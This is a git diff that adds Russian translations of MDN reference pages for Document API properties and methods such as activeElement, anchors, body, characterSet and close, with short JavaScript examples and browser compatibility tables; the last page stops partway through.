diff --git a/files/ru/web/api/document/activeelement/index.html b/files/ru/web/api/document/activeelement/index.html
new file mode 100644
index 0000000000..1a46c20a30
--- /dev/null
+++ b/files/ru/web/api/document/activeelement/index.html
@@ -0,0 +1,164 @@
+---
+title: Document.activeElement
+slug: Web/API/Document/activeElement
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/DocumentOrShadowRoot/activeElement
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Анотация</h2>
+
+<p>Возвращает текущий сфокусированный элемент, то есть элемент, на котором будут вызываться события клавиатуры, если пользователь начнёт с неё ввод. Этот атрибут доступен только для чтения.</p>
+
+<p>Часто возвращается {{ HTMLElement("input") }} или {{ HTMLElement("textarea") }} объект, если он содержит в себе выделенный в данный момент текст. При этом вы можете получить более подробные сведения, используя свойства элемента  <code>selectionStart</code> и <code>selectionEnd</code>.  В других случаях сфокусированным элементом может быть {{ HTMLElement("select") }} элемент (меню) или {{ HTMLElement("input") }} элемент типа button, checkbox или radio.</p>
+
+<p>{{ Note("На Mac, элементы, не являющиеся текстовыми полями, как правило, не получают фокус.") }}</p>
+
+<p>Как правило, пользователь может нажать клавишу табуляции для перемещения по фокусируемым элементам страницы, и использовать пробел для их активации (нажать кнопку button, выбрать переключатель radio).</p>
+
+<p>Не следует путать фокус с выделением документа, состоящего в основном из статических текстовых узлов. См. {{ domxref("window.getSelection()") }}. </p>
+
+<p>Когда выделение отсутствует, активным элементом является {{ HTMLElement("body") }} страницы или null. </p>
+
+<p>{{ Note("Этот атрибут является частью разрабатываемой спецификации HTML 5.") }}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var curElement = document.activeElement;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;script type="text/javascript" charset="utf-8"&gt;
+    function init() {
+
+        function onMouseUp(e) {
+            console.log(e);
+            var outputElement = document.getElementById('output-element');
+            var outputText = document.getElementById('output-text');
+            var selectedTextArea = document.<strong>activeElement</strong>;
+            var selection = selectedTextArea.value.substring(
+            selectedTextArea.<strong>selectionStart</strong>, selectedTextArea.<strong>selectionEnd</strong>);
+            outputElement.innerHTML = selectedTextArea.id;
+            outputText.innerHTML = selection;
+        }
+
+        document.getElementById("ta-example-one").addEventListener("mouseup", onMouseUp, false);
+        document.getElementById("ta-example-two").addEventListener("mouseup", onMouseUp, false);
+    }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="init()"&gt;
+&lt;div&gt;
+    Выделите текст в одном из текстовых полей ниже:
+&lt;/div&gt;
+&lt;form id="frm-example" action="#" accept-charset="utf-8"&gt;
+&lt;textarea name="ta-example-one" id="ta-example-one" rows="8" cols="40"&gt;
+Это текстовое поле 1:
+Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.
+&lt;/textarea&gt;
+&lt;textarea name="ta-example-two" id="ta-example-two" rows="8" cols="40"&gt;
+Это текстовое поле 2:
+Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.
+&lt;/textarea&gt;
+&lt;/form&gt;
+ID активного элемента: &lt;span id="output-element"&gt;&lt;/span&gt;&lt;br/&gt;
+Выделенный текст: &lt;span id="output-text"&gt;&lt;/span&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="https://jsfiddle.net/w9gFj">Посмотреть на JSFiddle</a></p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Первоначально введенное как собственное расширение DOM в Internet Explorer 4, это свойство также поддерживается в Opera и Safari (в версии 4).</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2</td>
+   <td>3.0</td>
+   <td>4 [1]</td>
+   <td>9.6</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: В IE9 наблюдается баг: при попытке получения доступа к <code>activeElement в </code>{{domxref("window.parent")}} {{domxref("Document")}} из {{HTMLElement("iframe")}} (т.е. <code>parent.document.activeElement</code>) выбрасывается ошибка.</p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/alinkcolor/index.html b/files/ru/web/api/document/alinkcolor/index.html
new file mode 100644
index 0000000000..30ae4fccc9
--- /dev/null
+++ b/files/ru/web/api/document/alinkcolor/index.html
@@ -0,0 +1,40 @@
+---
+title: Document.alinkColor
+slug: Web/API/Document/alinkColor
+tags:
+  - API
+  - Obsolete
+  - Property
+translation_of: Web/API/Document/alinkColor
+---
+<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p>
+
+<p>Возвращает или задает цвет активной ссылки в теле документа. Ссылка активна в течение времени между событиями mousedown и mouseup.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>color</em> = document.alinkColor
+document.alinkColor = <em>color</em>
+</pre>
+
+<p>Color - строка, содержащая имя цвета (например, <code>blue</code>, <code>dark blue</code> и т.д.) или шестнадцатеричное значение цвета(<code>#0000FF</code>)</p>
+
+<h2 id="Notes" name="Notes">Примичание</h2>
+
+<p>Значение по умолчанию для этого свойства в Mozilla Firefox является красным (<code>#ee0000</code> в шестнадцатеричном формате).</p>
+
+<p><code>document.alinkColor</code> устарел в <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. Одним из вариантов является CSS-селектор {{ Cssxref(":active") }}.</p>
+
+<p>Другой альтернативой является document.body.aLink, хотя это <a href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">устарело в HTML 4.01</a> в пользу альтернативы CSS.</p>
+
+<p><a href="en/Gecko">Gecko</a> подерживает оба варианта <code>alinkColor</code>/<code>:active</code> and {{ Cssxref(":focus") }}. Internet Explorer 6 и 7 подерживает <code>alinkColor</code>/<code>:active</code> только для<a href="en/HTML/Element/a"> HTML ссылок с якорем (&lt;a&gt;)</a>  и поведение у них такое же, как <code>:focus</code> в Gecko. В IE нет поддержки :focus.</p>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.alinkColor")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/all/index.html b/files/ru/web/api/document/all/index.html
new file mode 100644
index 0000000000..2922af874e
--- /dev/null
+++ b/files/ru/web/api/document/all/index.html
@@ -0,0 +1,42 @@
+---
+title: Document.all
+slug: Web/API/Document/all
+translation_of: Web/API/Document/all
+---
+<div>{{APIRef("DOM")}}{{Draft}}{{Deprecated_Header("HTML5")}}</div>
+
+<p>The {{DOMxRef("Document")}} Свойство <strong><code>all</code></strong> только для чтения интерфейса возвращает: {{DOMxRef("HTMLAllCollection")}} С корнем в узле документа. Другими словами, он возвращает все содержимое страницы.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>htmlAllCollection</var> = document.all;</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>В {{DOMxRef("HTMLAllCollection")}} содержится все узелы в документе.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'obsolete.html#dom-document-all', 'all')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первоначальное определение.<br>
+    Устаревший и находится вустаревшем разделе API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.all")}}</p>
diff --git a/files/ru/web/api/document/anchors/index.html b/files/ru/web/api/document/anchors/index.html
new file mode 100644
index 0000000000..9d9f3aaa70
--- /dev/null
+++ b/files/ru/web/api/document/anchors/index.html
@@ -0,0 +1,125 @@
+---
+title: Document.anchors
+slug: Web/API/Document/anchors
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - id
+  - name
+  - Якоря
+translation_of: Web/API/Document/anchors
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>anchors</code></strong> возвращает массив всех якорей в документе.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>nodeList</var> = document.anchors;
+</pre>
+
+<p> </p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLCollection")}}.</p>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if ( document.anchors.length &gt;= 5 ) {
+  dump("найдено слишком много якорей");
+  window.location = "http://www.google.com";
+}
+</pre>
+
+<p>Следующий пример автоматически генерирует список якорей из заглавий блоков, имеющихся на странице:</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;Test&lt;/title&gt;
+&lt;script&gt;
+function init() {
+  var toc = document.getElementById("toc");
+  var i, li, newAnchor;
+  for (i = 0; i &lt; document.anchors.length; i++) {
+    li = document.createElement("li");
+    newAnchor = document.createElement('a');
+    newAnchor.href = "#" + document.anchors[i].name;
+    newAnchor.innerHTML = document.anchors[i].text;
+    li.appendChild(newAnchor);
+    toc.appendChild(li);
+  }
+}
+&lt;/script&gt;
+
+&lt;/head&gt;
+&lt;body onload="init()"&gt;
+
+&lt;h1&gt;Title&lt;/h1&gt;
+&lt;h2&gt;&lt;a name="contents"&gt;Contents&lt;/a&gt;&lt;/h2&gt;
+&lt;ul id="toc"&gt;&lt;/ul&gt;
+
+&lt;h2&gt;&lt;a name="plants"&gt;Plants&lt;/a&gt;&lt;/h2&gt;
+&lt;ol&gt;
+    &lt;li&gt;Apples&lt;/li&gt;
+    &lt;li&gt;Oranges&lt;/li&gt;
+    &lt;li&gt;Pears&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;h2&gt;&lt;a name="veggies"&gt;Veggies&lt;/a&gt;&lt;/h2&gt;
+&lt;ol&gt;
+    &lt;li&gt;Carrots&lt;/li&gt;
+    &lt;li&gt;Celery&lt;/li&gt;
+    &lt;li&gt;Beats&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="https://jsfiddle.net/S4yNp">Посмотреть на JSFiddle</a></p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>По причине обратной совместимости возвращаемый массив якорей включает в себя лишь якоря, созданные с помощью атрибута <strong>name</strong>, а не а <strong>id</strong>.</p>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-anchors', 'Document.anchors')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Obsoleted.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-7577272', 'Document.anchors')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.anchors")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/applets/index.html b/files/ru/web/api/document/applets/index.html
new file mode 100644
index 0000000000..c82cbdb403
--- /dev/null
+++ b/files/ru/web/api/document/applets/index.html
@@ -0,0 +1,71 @@
+---
+title: Document.applets
+slug: Web/API/Document/applets
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Апплеты
+  - Документ
+translation_of: Web/API/Document/applets
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>applets</code></strong> возвращает массив апплетов, находящихся в документе.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The {{htmlelement("applet")}} element was removed in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> and <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome in late 2015</a>. Since then, calling <code>document.applets</code> in those browsers always returns an empty {{domxref("HTMLCollection")}}. Removal is being considered in <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a>and <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>nodeList</em> = document.applets
+</pre>
+
+<p> </p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLCollection")}}.</p>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">// Когда вы точно знаете, что вам нужен 2й апплет
+my_java_app = document.applets[1];
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Obsoleted.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.applets")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/async/index.html b/files/ru/web/api/document/async/index.html
new file mode 100644
index 0000000000..2ff21f28af
--- /dev/null
+++ b/files/ru/web/api/document/async/index.html
@@ -0,0 +1,35 @@
+---
+title: Document.async
+slug: Web/API/Document/async
+translation_of: Web/API/XMLDocument/async
+---
+<p>{{APIRef("DOM")}}{{Deprecated_header}} {{Non-standard_header}}</p>
+
+<p><code>document.async</code> может быть установлен, для того, чтобы определить, что вызов {{domxref("document.load")}} должен быть выполнен синхронно или не синхронно. <code>true</code> - стандартное значение, определяющее, асинхронно ли должны быть загружены документы.</p>
+
+<p>(Загружать документы синхронно стало возможно с версии 1.4 alpha.)</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">function loadXMLData(e) {
+  alert(new XMLSerializer().serializeToString(e.target)); // Gives querydata.xml contents as string
+}
+
+var xmlDoc = document.implementation.createDocument("", "test", null);
+
+xmlDoc.async = false;
+xmlDoc.onload = loadXMLData;
+xmlDoc.load('querydata.xml');</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load &amp; Save module</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XML_in_Mozilla" title="XML_in_Mozilla">XML in Mozilla</a></li>
+ <li>{{domxref("document.load")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/bgcolor/index.html b/files/ru/web/api/document/bgcolor/index.html
new file mode 100644
index 0000000000..60d802621a
--- /dev/null
+++ b/files/ru/web/api/document/bgcolor/index.html
@@ -0,0 +1,45 @@
+---
+title: Document.bgColor
+slug: Web/API/Document/bgColor
+tags:
+  - API
+  - Deprecated
+  - Property
+translation_of: Web/API/Document/bgColor
+---
+<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p>
+
+<p>Устаревшее свойство <code>bgColor</code> возвращает или устанавливает цвет фона текущего документа.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>color</em> = document.bgColor
+document.bgColor =<em>color</em>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>color</code> это строка представляющая цвет или в виде слова (например <code>red</code>) или шестнадцатиричного значения (т.е. "<code>#ff0000</code>").</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="eval">document.bgColor = "darkblue";
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>В Firefox это поле по умолчанию содержит белый цвет (<code>#ffffff</code> в шестнадцатиричном виде).</p>
+
+<p><code>Поле document.bgColor</code> признано устаревшим в <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. В качестве альтернативы рекомендуется использовать CSS стиль {{Cssxref("background-color")}} который доступен через DOM как <code>document.body.style.backgroundColor</code>. Другой альтернативой доступа является <code>document.body.bgColor</code>, хотя этот вариант также признан устаревшим в HTML 4.01 и также рекомендуется использовать CSS.</p>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.bgColor")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/body/index.html b/files/ru/web/api/document/body/index.html
new file mode 100644
index 0000000000..1a6be5d191
--- /dev/null
+++ b/files/ru/web/api/document/body/index.html
@@ -0,0 +1,87 @@
+---
+title: Document.body
+slug: Web/API/Document/body
+tags:
+  - API
+  - BODY
+  - Document
+  - frameset
+translation_of: Web/API/Document/body
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает узел {{HTMLElement("body")}} или {{HTMLElement("frameset")}} текущей страницы, или <strong><code>null</code></strong> если таких элементов не существует.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var objRef</em> = document.body;
+document.body = <em>objRef;</em></pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// в HTML: &lt;body id="oldBodyElement"&gt;&lt;/body&gt;
+alert(document.body.id); // "oldBodyElement"
+
+var aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p><strong><code>document.body</code></strong> это элемент, который включает в себя содержимое страницы. На страницах с <code>&lt;body&gt;</code> вернётся элемент <code>&lt;body&gt;</code>, а с frameset'ом - элемент <code>&lt;frameset&gt;</code>.</p>
+
+<p><strong><code>body</code></strong> может быть заменено, но это удалит все его дочерние элементы.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML','html.html#ID-56360201','Document.body')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#attribute-body','Document.body')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.body")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.head")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/characterset/index.html b/files/ru/web/api/document/characterset/index.html
new file mode 100644
index 0000000000..021ce45b4a
--- /dev/null
+++ b/files/ru/web/api/document/characterset/index.html
@@ -0,0 +1,119 @@
+---
+title: Document.characterSet
+slug: Web/API/Document/characterSet
+tags:
+  - API
+  - DOM
+  - Document
+  - Read-only
+translation_of: Web/API/Document/characterSet
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.characterSet</strong></code> доступное только для чтения свойство, возвращает кодировку текущей страницы. Кодировка это набор символов, используемый для отрисовки документа, которая может отличаться от кодировки, заданной на странице (пользователь может переназначить кодировку)</p>
+
+<div class="note">
+<p>Свойства <code>document.charset</code> и <code>document.inputEncoding</code> это устаревшие алиасы <code>document.characterSet</code>. Не используйте их больше.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>string</em> = document.characterSet</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre>&lt;button onclick="alert(document.characterSet);"&gt;Показать кодировку&lt;/button&gt;
+// вернёт кодировку документа вида "ISO-8859-1" или "UTF-8"
+</pre>
+
+<h2 id="Notes" name="Notes">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>кодировка</code></td>
+   <td>Сделано read-only в  {{CompatChrome(45)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="line-height: 19.0909080505371px;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>кодировка</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>2.5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/document/close/index.html b/files/ru/web/api/document/close/index.html
new file mode 100644
index 0000000000..ba5d9ff72a
--- /dev/null
+++ b/files/ru/web/api/document/close/index.html
@@ -0,0 +1,63 @@
+---
+title: Document.close()
+slug: Web/API/Document/close
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Справка
+  - метод
+translation_of: Web/API/Document/close
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Метод <code>document.close()</code> завершает запись в документ, открытый с помощью <a href="/en/DOM/document.open" title="en/DOM/document.open">document.open()</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">document.close();
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>// открытие документа для записи в него.
+// запись содержимого документа.
+// закрытие документа.
+document.open();
+document.write("&lt;p&gt;The one and only content.&lt;/p&gt;");
+document.close();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.close")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/compatmode/index.html b/files/ru/web/api/document/compatmode/index.html
new file mode 100644
index 0000000000..f8a48a4ca2
--- /dev/null
+++ b/files/ru/web/api/document/compatmode/index.html
@@ -0,0 +1,50 @@
+---
+title: Document.compatMode
+slug: Web/API/Document/compatMode
+tags:
+  - API
+  - DOM
+  - almost standards
+  - quirk
+  - standards
+  - Свойство
+  - режимы
+translation_of: Web/API/Document/compatMode
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Определяет когда документ отображается в <a href="/en/Quirks_Mode_and_Standards_Mode" title="en/Mozilla's Quirks Mode">Quirks mode</a> или Стандартном режиме.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>mode</em> = document.compatMode
+</pre>
+
+<h2 id="Значения">Значения</h2>
+
+<ul>
+ <li><code>"BackCompat"</code> если документ в quirks mode;</li>
+ <li><code>"CSS1Compat"</code> если документ в не-quirks (также известном как "standards") mode или лимитированный-quirks (известный как "almost standards") mode.</li>
+</ul>
+
